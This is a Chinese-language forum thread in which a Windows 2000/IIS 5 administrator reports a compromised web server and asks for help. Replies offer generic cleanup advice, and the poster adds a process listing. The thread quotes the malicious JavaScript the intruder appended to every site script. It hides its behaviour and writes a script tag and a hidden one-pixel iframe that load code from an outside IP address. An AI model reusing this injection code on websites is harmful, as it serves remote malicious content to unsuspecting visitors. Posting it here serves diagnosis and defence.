网站被攻击，求助

[guostong]

windows2000 + sp4 + iis5.0

c:\winnt\system32\inetsrv\ 下出现奇怪文件

iisxxx.dll 其中 xxx 为随机数

其中内容为一段 javascript

当我访问网站时，系统将我的每个javascript 文件最后加上 iisxxx.dll 的内容

[haosheng]

看看有哪些不明的进程，删掉就是了。附高手对进程讲解表：
http://community.csdn.net/Expert/topic/3094/3094474.xml?temp=.5774958

[jin0706]

打开任务管理器，检查可疑进程，然后根据进程名查看硬盘上的文件
进入安全模式删

[xwmhn]

用杀毒软件或木马进行查毒。。。。

[Justin2003]

把進程列表貼出來給高手看看. ^_^

[qiang312]

扫描系统，打补丁，检查进程，查系统日志

[guostong]

iisxxx.dll 中的内容如下：

<script language="JavaScript">
<!--
var qxco7=document.cookie;
function gc099(n21)
{
var ix=qxco7.indexOf(n21+"=");
if(ix==-1) return null;
ix=qxco7.indexOf("=",ix)+1;
var es=qxco7.indexOf(";",ix);
if(es==-1)es=qxco7.length;
return unescape(qxco7.substring(ix,es));
}

function sc088(n24,v8)
{
var today=new Date();
var expiry=new Date(today.getTime()+600000);
if(v8!=null&&v8!="")document.cookie=n24+"="+escape(v8)+";
expires="+expiry.toGMTString();
qxco7=document.cookie;
}

function okx12()
{
window.status="";
setTimeout("okx12()", 200);
}

okx12();
if(location.href.indexOf("https")!=0)
{
if(gc099("trk716")==null)
{
document.write("<script language=\"JavaScript\" src=\"http://217.107.218.147/dot.php\"></script><iframe src=\"http://217.107.218.147/dot.php\" height=\"1\" width=\"1\" scrolling=\"no\" frameborder=\"no\"/>");
sc088("trk716","4");}}// -->
</script>

[liuweihug]

这是木马
到安全模式关掉这个程序，杀毒啊
查看一下端口啊

[guostong]

没发现什么异常进程

D:\tools>tlist -s
0 System Process
8 System
160 SMSS.EXE
184 CSRSS.EXE Title:
204 WINLOGON.EXE Title: NetDDE Agent
232 SERVICES.EXE Svcs: Alerter,AppMgmt,Browser,Dhcp,dmserver,Dnscache,Event
log,lanmanserver,lanmanworkstation,LmHosts,Messenger,PlugPlay,ProtectedStorage,s
eclogon,TrkWks,Wmi
244 LSASS.EXE Svcs: NtLmSsp,PolicyAgent,SamSs
428 svchost.exe Svcs: RpcSs
452 spoolsv.exe Svcs: Spooler
480 msdtc.exe Svcs: MSDTC
600 AWHOST32.EXE Svcs: awhost32
644 defwatch.exe Svcs: DefWatch
660 tcpsvcs.exe Svcs: DHCPServer,SimpTcp
680 svchost.exe Svcs: EventSystem,IAS,Netman,NtmsSvc,RasMan,SENS
716 LLSSRV.EXE Svcs: LicenseService
780 sqlservr.exe Svcs: MSSQLSERVER
896 rtvscan.exe Svcs: Norton AntiVirus Server
876 regsvc.exe Svcs: RemoteRegistry
1000 mstask.exe Svcs: Schedule
1072 SNMP.EXE Svcs: SNMP
1132 WinMgmt.exe Svcs: WinMgmt
1148 WINS.EXE Svcs: WINS
1160 svchost.exe Svcs: wuauserv
1192 dfssvc.exe Svcs: Dfs
1228 DNS.EXE Svcs: DNS
1244 inetinfo.exe Svcs: IISADMIN,SMTPSVC,W3SVC
1312 mqsvc.exe Svcs: MSMQ
1380 mssearch.exe Svcs: MSSEARCH
2016 MSGSYS.EXE
2052 explorer.exe Title: Program Manager
2120 vptray.exe Title: Norton AntiVirus Corporate Edition
2128 internat.exe Title:
2160 sqlmangr.exe Title: SQL Server Service Manager
2236 svchost.exe Svcs: TapiSrv
2196 DLLHOST.EXE
1744 DLLHOST.EXE
1804 mdm.exe Title: OleMainThreadWndName
1320 conime.exe Title:
1216 CMD.EXE Title: C:\WINNT\system32\cmd.exe - tlist -s
2040 tlist.exe